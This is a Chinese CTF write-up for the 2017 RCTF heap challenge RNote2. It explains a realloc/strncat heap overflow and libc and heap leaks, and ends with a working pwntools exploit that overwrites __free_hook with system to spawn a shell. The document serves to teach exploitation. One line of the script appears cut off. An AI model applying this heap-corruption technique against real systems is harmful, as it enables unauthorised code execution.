2017 rctf RNote2 writeup

原创

Anciety 于 2017-05-23 15:43:23 发布 1150 收藏

分类专栏： ctf pwn

本文链接：https://blog.csdn.net/qq_29343201/article/details/72642581

RNote2

首先查看保护:

```
[anciety@anciety-pc RNote2]$ checksec RNote2
[*] '/home/anciety/project/ctf/contests/rctf/RNote2/RNote2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

题目提供了5个功能

```
welcome to RNote service!
**********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
**********************
Your choice:
```

其中保存note使用了一个链表的结构，其中node结构体如下:

```
struct Node {
  __int64 has_edited;
  __int64 body_len;
  struct Node* next_node;
  struct Node* prev_node;
  char *content;
};
```

data段中有3个全局变量用来保存这个链表。

- 0x202060 (由于开启了pie，这个地址只是ida中的地址，不是实际加载地址)存储了一个node指针类型的链表表头指针。
- 0x202080 存储了node类型的第一个链表node，当然，一开始的时候是一个空node，也就是作为guard用。
- 0x202090 ，也就是第一个链表node中next_node字段的位置被单独拿了出来作为一个全局变量，用来方便存储即将放进来的new node。

最后还有一个chunk_number，用来记录一共已经存储了多少个链表节点。

输入函数

输入函数是自己用read去模拟的，遇见换行符会break结束循环，有一个问题就是，最后结尾没有null，所以为泄露提供了前提条件

add

add的功能就是先申请一个Node结构体，设置结构体数据，然后申请content，其中检查了大小，content大小不得大于0x100，也更新了chunk number，没什么漏洞。

需要注意的地方在于他的分配使用了malloc，这样的话之前free之后保存的值是不会被抹掉的，会直接覆盖在上面。比如之前有aaaaa，之后再次使用了空间输入了bbb，那么这一段的内存将会是bbbaa，因为是直接覆盖在前面，原来的值还是存在的。

delete

delete首先检查了输入是否合法，要求大于1，并且小于chunk number，之后会先free结构体中content中的内容，之后再free结构体，链表也处理的比较正常，会更新链表头的位置，处理的比较完整，没什么漏洞。

list

list的输出使用了链表，跟着链表走去输出的，没有什么漏洞，只要知道list是根据链表的指针去决定输出位置的就行了，另外还需要知道的也就是输出使用的printf，需要null字符结尾。

edit

edit同样不是很可疑，进行了一系列检查，检查的比较完整，之后根据链表找到相应的结构体，edit相应的内容，内容大小严格控制，是不可能做到溢出的。这里edit只能进行一次（虽然后面似乎也用不到多次）

expand

expand函数就比较有意思了。首先同样是一系列检查，检查的也算是完整的，并且edit和expand只能进行一次，而且是二选一。之后选择扩展多大，大小和之前的大小加起来不能超过0x100，所以也没有溢出的空间，然后输入扩展内容，之后会通过realloc分配新的空间，大小为扩展大小和原大小相加。然后输入新的内容，使用strncat将原来的内容和新内容接在一起

漏洞分析

漏洞点就位于expand了。 realloc的一个特点是，如果空间够用，是不会改变原来的位置的。比如我一开始啥也没有，然后分配了一个位置位于0x010(不含头部)偏移，大小为0x30（不含头部），如果我现在使用realloc，由于后面的空间都是没有分配的，属于top chunk，可以自由使用，realloc会**直接扩展**大小，而不改动其位置，所以realloc之后,0x000的头部的size字段被更改，但是指针依然会返回0x010。

另外一个神奇的地方在于strncat，strncat虽然判断了可以连接上去的字符数量，可是存在的问题是其判断第一个字符串的结束是**根据null字符去判断的**。根据之前add提出的问题，由于使用了malloc，又没有处理null字符，这使得虽然后来malloc了一个更小的chunk，但是依然会通过前面已经删除的被覆盖了一部分的更长的字符串去连接。

举个例子:
假设我先分配了一个字符串，内容为:aaaaaa，共6个a，长度为6，之后我删除了这个字符串。
然后现在我再分配一个字符串，内容为bbb，共3个b，长度为3，如果使用了smallbin（在这个例子中因为内容长度太小所以肯定是fastbin，但是只要变长就会使用small bin了），那么会把刚才的aaaaaa内容切一部分出来给bbb用，所以新分配的将会变为bbbaaa，这个时候如果strncpy一个ccc，字符串会变成bbbaaaccc，而不是bbbccc。

这就导致了堆溢出的存在了。实际情况当中需要注意两点:
1. 必须使用small bin，否则第二次分配只有在与之前的chunk在同一个index范围内(比如两个chunk的大小都在0x21 - 0x27的大小范围)才能够分配到原地址，因为fastbin是不切开的。small bin free之后再malloc会切开，这样就存在更多的溢出内容可以写。
2. 由于header的存在，可能需要一定的调试才能确认到底溢出了多少字节，就像之前的例子，覆盖的时候其实并不是bbbaaa，因为被切开之后，后面一个空chunk有自己的header，所以会变成bbb + (header) + 剩余字符的结构。

利用思路

信息泄露

libc

libc的泄露和堆泄露都比较简单，由于list使用了printf，而输入的时候没有null字符，可以很轻松的构造使得printf泄露出地址。方法就是首先分配一个small bin chunk，之后free掉，这样就有了一个空的small bin chunk，利用small bin chunk双向链表的性质，空的时候指向libc中的某个地址，可以在malloc，写的时候只写一个'\n',这样会直接被截断，相当于没有写入东西，读的时候就可以把libc中的一个地址读出来了，最后调试一下找到offset。

heap

由于写/bin/sh的时候需要，以及劫持控制流也需要，所以我们还需要heap address。原理其实和刚才的libc一样，这次可以用fastbin，free两个，后一个的fd指针就指向前一个，之后读出来就行了，没有什么难度。

劫持控制流

堆溢出

堆溢出的原理之前分析漏洞的时候已经分析过了，溢出之后可以通过修改指针，使得链表Node结构体中的content指针被修改。但是只更改content是不行的，因为strncpy不能有null字符，而has_edited位于content之前，所以写过去一定会使得has_edited是1，这样就没法edit或者expand。所以我们需要别的思路。

不过反正指针已经可以被修改了，方法应该还算是比较灵活的，这里我使用的方法是构造一个overlap。更改指针指向某一个Node结构体，之后free被修改了指针的结构体，之后再add的时候，会使得content被分配到之前修改的某一个Node结构体那儿，这个时候由于使用了read，所以是可以写入0的，那么写入0，再次修改指针，就可以进行edit了。

exp.py

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['termite', '-e'])

DEBUG = 1
```

```python
GDB = 1
if DEBUG:
    p = process("./RNote2")
    libc = ELF("/usr/lib/libc.so.6")
else:
    p = remote()
    libc = ELF("./libc.so.6")

def add(length, content):
    p.recvuntil("choice:")
    p.sendline('1')
    p.recvuntil('length:')
    p.sendline(str(length))
    p.recvuntil('content')
    p.send(content)

def delete(which):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('delete?')
    p.sendline(str(which))

def list():
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('notes:')

def edit(which, content):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('edit?')
    p.sendline(str(which))
    p.recvuntil('content:')
    p.send(content)

def expand(which, length, content):
    p.recvuntil('choice:')
    p.sendline('5')
    p.recvuntil('expand?')
    p.sendline(str(which))
    p.recvuntil('expand?')
    p.sendline(str(length))
    p.recvuntil('to expand')
    p.send(content)

def pwn(heap_base, libc_base):
    add(0x10, 'v' * 0x10) # 4 -> 6
    set_ptr = heap_base + 0x108
    add(0x18, 'a' * 0x18) # 5 -> 7
    add(0x100, 'f' * 0x100) # 6 -> 8
    add(0x20, '\x01' * 0x20) # 7 -> 9
    '''
    delete(5)
    expand(4, 0xa0, '\x01' * 0x6f + p64(set_ptr) + '\n')
    edit(5, p64(system_addr) + '\n')
    add(0x10, '/bin/sh\x00') # 7
    delete(6)
    '''
    delete(8)
    add(0x30, '/bin/sh\x00\n')
```

```
    expand(7, 0xb0, '\x01' * (0x7) + '\x91\x00\n')
    add(0x30, 'o' * 0x30)
    delete(8)
    free_hook = libc.symbols['__free_hook'] + libc_base
    log.success("libc_base = {}".format(hex(libc_base)))
    system_addr = libc.symbols['system'] + libc_base
    #add(0x80, '\x00' * 0x30 + p64(0) + p64(10) + p64(0) + p64(0) + p64(free_hook) + '\n')
    add(0x80, '\x00' * 0x38 + '\x10\x00\x00\x00\x00\x00\x00\x00' + '\x00' * 0x10 + p64(free_hook) + '\n
    edit(10, p64(system_addr) + '\n')
    delete(8)

def leak():
    add(0xa0, 'x' * 0x10 + '\n') # 1
    add(0x50, 'b' * 0x10 + '\n') # 2
    delete(1) #
    add(0xa0, '\n') # 2
    add(0xa0, 'x' * 0x10 + '\n') # 3

    add(0x10, 'y' * 0x10) # 4
    add(0x10, 'z' * 0x10) # 5
    delete(4)
    delete(4)
    add(0x10, '\n') # 4
    add(0x10, '\n') # 5
    list()
    p.recvuntil('Note content: ')
    p.recvuntil('Note content: ')
    main_arena = (u64(p.recv(6).ljust(8, '\x00')) & 0xfffffffffff00) + 0x20
    p.recvuntil('Note content: ')
    p.recvuntil('Note content: ')
    heap_base = u64(p.recv(6).ljust(8, '\x00')) & 0xfffffffff000
    p.recvuntil('Note content: ')
    return main_arena, heap_base

def main():
    if GDB:
        break_points = [

        ]
        command = [
            'b *{}'.format(x) for x in break_points
        ]
        commands = '\n'.join(command)
        pwnlib.gdb.attach(p, commands)

    main_arena, heap_base = leak()
    log.success("main_arena = {} heap_base={}".format(hex(main_arena), hex(heap_base)))
    if DEBUG:
        libc_base = main_arena - 0x39eb20
    else:
        libc_base = main_arena - 0x3c3b20
    pwn(heap_base, libc_base)
    p.interactive()

if __name__ == "__main__":
    main()
```